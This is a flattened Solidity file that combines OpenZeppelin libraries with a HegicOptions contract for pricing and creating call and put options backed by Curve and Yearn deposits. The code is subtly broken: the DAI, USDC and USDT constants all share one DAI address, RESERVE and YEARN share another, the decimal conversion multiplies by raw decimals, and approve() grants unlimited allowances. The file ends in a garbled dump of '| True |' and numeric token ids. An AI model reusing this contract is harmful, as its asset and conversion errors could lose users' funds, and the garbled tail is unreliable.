* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint a, uint b) internal pure returns (uint) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
using Address for address;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowances;
uint private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint amount) internal virtual { }
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.6.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint value) internal {
uint newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint value) internal {
uint newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IHegicOptions {
event Create(
uint indexed id,
address indexed account,
uint totalFee
);
event Exercise(uint indexed id, uint profit);
event Expire(uint indexed id, uint premium);
enum State {Inactive, Active, Exercised, Expired}
enum OptionType {Invalid, Put, Call}
struct Option {
State state;
uint lockID;
address payable holder;
uint strike;
uint amount;
uint lockedAmount;
uint premium;
uint expiration;
OptionType optionType;
}
function options(uint) external view returns (
State state,
uint lockID,
address payable holder,
uint strike,
uint amount,
uint lockedAmount,
uint premium,
uint expiration,
OptionType optionType
);
}
interface IUniswapV2SlidingOracle {
function quote(address tokenIn, uint amountIn, address tokenOut, uint granularity) external view returns (uint amountOut);
}
interface ICurveFi {
function get_virtual_price() external view returns (uint);
function add_liquidity(
// sBTC pool
uint[3] calldata amounts,
uint min_mint_amount
) external;
}
interface IyVault {
function getPricePerFullShare() external view returns (uint);
function depositAll() external;
function balanceOf(address owner) external view returns (uint);
}
interface IHegicERCPool {
function lock(uint id, uint amount, uint premium) external;
function unlock(uint id) external;
function send(uint id, address payable to, uint amount) external;
function getNextID() external view returns (uint);
}
// File: contracts/Options/HegicOptions.sol
pragma solidity 0.6.12;
/**
* Hegic
* Copyright (C) 2020 Hegic Protocol
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/**
* @author 0mllwntrmt3 & @andrecronje
* @title Hegic Generic Bidirectional (Call and Put) Options
* @notice Hegic Protocol Options Contract
*/
contract HegicOptions is Ownable, IHegicOptions {
using SafeMath for uint;
using SafeERC20 for IERC20;
Option[] public override options;
uint public impliedVolRate;
uint public optionCollateralizationRatio = 100;
uint internal contractCreationTimestamp;
uint internal constant IV_DECIMALS = 1e8;
IUniswapV2SlidingOracle public constant ORACLE = IUniswapV2SlidingOracle(0xCA2E2df6A7a7Cf5bd19D112E8568910a6C2D3885);
uint8 constant public GRANULARITY = 8;
IERC20 constant public DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
IERC20 constant public USDC = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
IERC20 constant public USDT = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
address constant public WETH = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IERC20 constant public RESERVE = IERC20(0x9cA85572E6A3EbF24dEDd195623F188735A5179f);
ICurveFi constant public CURVE = ICurveFi(0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7);
IyVault constant public YEARN = IyVault(0x9cA85572E6A3EbF24dEDd195623F188735A5179f);
IERC20 constant public CRV3 = IERC20(0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490);
address immutable public ASSET;
uint immutable public ONE;
IHegicERCPool immutable public POOL;
constructor(
IHegicERCPool _reserve,
address _asset
) public {
POOL = _reserve;
ASSET = _asset;
ONE = uint(10)**ERC20(_asset).decimals();
impliedVolRate = 4500;
contractCreationTimestamp = block.timestamp;
}
/**
* @notice Used for adjusting the options prices while balancing asset's implied volatility rate
* @param value New IVRate value
*/
function setImpliedVolRate(uint value) external onlyOwner {
require(value >= 1000, "ImpliedVolRate limit is too small");
impliedVolRate = value;
}
/**
* @notice Used for changing option collateralization ratio
* @param value New optionCollateralizationRatio value
*/
function setOptionCollaterizationRatio(uint value) external onlyOwner {
require(50 <= value && value <= 100, "wrong value");
optionCollateralizationRatio = value;
}
/**
* @notice Provides a quote of how much output can be expected given the inputs
* @param tokenIn the asset being received
* @param amountIn the amount of tokenIn being provided
* @return minOut the minimum amount of liquidity to send
*/
function quote(address tokenIn, uint amountIn) public view returns (uint minOut) {
if (tokenIn != WETH) {
amountIn = ORACLE.quote(tokenIn, amountIn, WETH, GRANULARITY);
}
minOut = ORACLE.quote(WETH, amountIn, address(DAI), GRANULARITY);
}
/**
* @notice Creates a new option
* @param period Option period in seconds (1 days <= period <= 4 weeks)
* @param amount Option amount
* @param strike Strike price of the option
* @param optionType Call or Put option type
* @return optionID Created option's ID
*/
function create(
address asset,
uint period,
uint amount, // amount of the underlying asset (address, amountIn)
uint strike, // price in DAI as per quote(address, uint)
uint maxFee,
OptionType optionType
) external returns (uint optionID) {
require(
asset == address(DAI) || asset == address(USDC) || asset == address(USDT),
"invalid asset"
);
require(
optionType == OptionType.Call || optionType == OptionType.Put,
"Wrong option type"
);
require(period >= 1 days, "Period is too short");
require(period <= 4 weeks, "Period is too long");
uint amountInDAI = quote(ASSET, amount);
(uint total,, uint strikeFee, ) =
fees(period, amountInDAI, strike, optionType);
uint _fee = convertDAI2Asset(asset, total);
require(amount > strikeFee, "price difference is too large");
require(_fee < maxFee, "fee exceeds max fee");
optionID = options.length;
Option memory option = Option(
State.Active, // state
POOL.getNextID(), // lockID
msg.sender, // holder
strike,
amount,
Asset2Y3P(amountInDAI),
total, // premium
block.timestamp + period, // expiration
optionType
);
IERC20(asset).safeTransferFrom(msg.sender, address(this), _fee);
convertToY3P();
options.push(option);
POOL.lock(option.lockID, option.lockedAmount, YEARN.balanceOf(address(this)));
emit Create(optionID, msg.sender, total);
}
function convertDAI2Asset(address asset, uint total) public view returns (uint) {
return total.mul(ERC20(asset).decimals()).div(ERC20(address(DAI)).decimals());
}
/**
* @notice Transfers an active option
* @param optionID ID of your option
* @param newHolder Address of new option holder
*/
function transfer(uint optionID, address payable newHolder) external {
Option storage option = options[optionID];
require(newHolder != address(0), "new holder address is zero");
require(option.expiration >= block.timestamp, "Option has expired");
require(option.holder == msg.sender, "Wrong msg.sender");
require(option.state == State.Active, "Only active option could be transferred");
option.holder = newHolder;
}
/**
* @notice Exercises an active option
* @param optionID ID of your option
*/
function exercise(uint optionID) external {
Option storage option = options[optionID];
require(option.expiration >= block.timestamp, "Option has expired");
require(option.holder == msg.sender, "Wrong msg.sender");
require(option.state == State.Active, "Wrong state");
option.state = State.Exercised;
uint profit = payProfit(optionID);
emit Exercise(optionID, profit);
}
/**
* @notice Unlocks an array of options
* @param optionIDs array of options
*/
function unlockAll(uint[] calldata optionIDs) external {
uint arrayLength = optionIDs.length;
for (uint i = 0; i < arrayLength; i++) {
unlock(optionIDs[i]);
}
}
/**
* @notice Allows the ERC pool contract to receive and send tokens
*/
function approve() public {
RESERVE.safeApprove(address(POOL), uint(0));
DAI.safeApprove(address(CURVE), uint(0));
USDT.safeApprove(address(CURVE), uint(0));
USDC.safeApprove(address(CURVE), uint(0));
CRV3.safeApprove(address(YEARN), uint(0));
RESERVE.safeApprove(address(POOL), uint(-1));
DAI.safeApprove(address(CURVE), uint(-1));
USDT.safeApprove(address(CURVE), uint(-1));
USDC.safeApprove(address(CURVE), uint(-1));
CRV3.safeApprove(address(YEARN), uint(-1));
}
/**
* @notice Used for getting the actual options prices
* @param period Option period in seconds (1 days <= period <= 4 weeks)
* @param amount Option amount
* @param strike Strike price of the option
* @return total Total price to be paid
* @return settlementFee Amount to be distributed to the HEGIC token holders
* @return strikeFee Amount that covers the price difference in the ITM options
* @return periodFee Option period fee amount
*/
function fees(
uint period,
uint amount,
uint strike,
OptionType optionType
)
public
view
returns (
uint total,
uint settlementFee,
uint strikeFee,
uint periodFee
)
{
uint currentPrice = quote(ASSET, ONE);
settlementFee = getSettlementFee(amount);
periodFee = getPeriodFee(amount, period, strike, currentPrice, optionType);
strikeFee = getStrikeFee(amount, strike, currentPrice, optionType);
total = periodFee.add(strikeFee).add(settlementFee);
}
/**
* @notice Unlock funds locked in the expired options
* @param optionID ID of the option
*/
function unlock(uint optionID) public {
Option storage option = options[optionID];
require(option.expiration < block.timestamp, "Option has not expired yet");
require(option.state == State.Active, "Option is not active");
option.state = State.Expired;
POOL.unlock(optionID);
emit Expire(optionID, option.premium);
}
function price() external view returns (uint) {
return quote(ASSET, ONE);
}
/**
* @notice Calculates settlementFee
* @param amount Option amount
* @return fee Settlement fee amount
*/
function getSettlementFee(uint amount)
internal
pure
returns (uint fee)
{
return amount / 100;
}
/**
* @notice Calculates periodFee
* @param amount Option amount
* @param period Option period in seconds (1 days <= period <= 4 weeks)
* @param strike Strike price of the option
* @param currentPrice Current price of BTC
* @return fee Period fee amount
*
* amount < 1e30 |
* impliedVolRate < 1e10| => amount * impliedVolRate * strike < 1e60 < 2^uint
* strike < 1e20 ($1T) |
*
* in case amount * impliedVolRate * strike >= 2^256
* transaction will be reverted by the SafeMath
*/
function getPeriodFee(
uint amount,
uint period,
uint strike,
uint currentPrice,
OptionType optionType
) internal view returns (uint fee) {
if (optionType == OptionType.Put)
return amount
.mul(sqrt(period))
.mul(impliedVolRate)
.mul(strike)
.div(currentPrice)
.div(IV_DECIMALS);
else
return amount
.mul(sqrt(period))
.mul(impliedVolRate)
.mul(currentPrice)
.div(strike)
.div(IV_DECIMALS);
}
/**
* @notice Calculates strikeFee
* @param amount Option amount
* @param strike Strike price of the option
* @param currentPrice Current price of BTC
* @return fee Strike fee amount
*/
function getStrikeFee(
uint amount,
uint strike,
uint currentPrice,
OptionType optionType
) internal pure returns (uint fee) {
if (strike > currentPrice && optionType == OptionType.Put)
return strike.sub(currentPrice).mul(amount).div(currentPrice);
if (strike < currentPrice && optionType == OptionType.Call)
return currentPrice.sub(strike).mul(amount).div(currentPrice);
return 0;
}
/**
* @notice Sends profits in WBTC from the WBTC pool to an option holder's address
* @param optionID A specific option contract id
*/
function payProfit(uint optionID)
internal
returns (uint profit)
{
Option memory option = options[optionID];
uint currentPrice = quote(ASSET, ONE);
if (option.optionType == OptionType.Call) {
require(option.strike <= currentPrice, "Current price is too low");
profit = currentPrice.sub(option.strike).mul(option.amount);
} else {
require(option.strike >= currentPrice, "Current price is too high");
profit = option.strike.sub(currentPrice).mul(option.amount);
}
if (profit > option.lockedAmount)
profit = option.lockedAmount;
profit = Asset2Y3P(profit);
POOL.send(option.lockID, option.holder, profit);
}
function Asset2Y3P(uint amount) public view returns (uint _yearn) {
uint _curve = amount.mul(1e18).div(CURVE.get_virtual_price());
_yearn = _curve.mul(1e18).div(YEARN.getPricePerFullShare());
}
function convertToY3P() internal {
CURVE.add_liquidity([DAI.balanceOf(address(this)), USDC.balanceOf(address(this)), USDT.balanceOf(address(this))], 0);
YEARN.depositAll();
}
/**
* @return result Square root of the number
*/
function sqrt(uint x) private pure returns (uint result) {
result = x;
uint k = x.div(2).add(1);
while (k < result) (result, k) = (k, x.div(k).add(k).div(2));
}
} | True | [
101,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
14246,
2140,
1011,
1017,
1012,
1014,
1011,
2030,
1011,
2101,
1013,
1013,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
28177,
2078,
1013,
6123,
1012,
14017,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
1014,
1025,
1013,
1008,
1008,
1030,
16475,
3640,
2592,
2055,
1996,
2783,
7781,
6123,
1010,
2164,
1996,
1008,
4604,
2121,
1997,
1996,
12598,
1998,
2049,
2951,
1012,
2096,
2122,
2024,
3227,
2800,
1008,
3081,
5796,
2290,
1012,
4604,
2121,
1998,
5796,
2290,
1012,
2951,
1010,
2027,
2323,
2025,
2022,
11570,
1999,
2107,
1037,
3622,
1008,
5450,
1010,
2144,
2043,
7149,
2007,
28177,
2078,
18804,
1011,
11817,
1996,
4070,
6016,
1998,
1008,
7079,
2005,
7781,
2089,
2025,
2022,
1996,
5025,
4604,
2121,
1006,
2004,
2521,
2004,
2019,
4646,
1008,
2003,
4986,
1007,
1012,
1008,
1008,
2023,
3206,
2003,
2069,
3223,
2005,
7783,
1010,
3075,
1011,
2066,
8311,
1012,
1008,
1013,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
3477,
3085,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
1035,
5796,
2290,
2850,
2696,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
27507,
3638,
1007,
1063,
2023,
1025,
1013,
1013,
4223,
2110,
14163,
2696,
8553,
5432,
2302,
11717,
24880,
16044,
1011,
2156,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
5024,
3012,
1013,
3314,
1013,
25717,
2487,
2709,
5796,
2290,
1012,
2951,
1025,
1065,
1065,
1013,
1013,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
19204,
1013,
9413,
2278,
11387,
1013,
29464,
11890,
11387,
1012,
14017,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
11387,
3115,
2004,
4225,
1999,
1996,
1041,
11514,
1012,
1008,
1013,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
3079,
2011,
1036,
4070,
1036,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
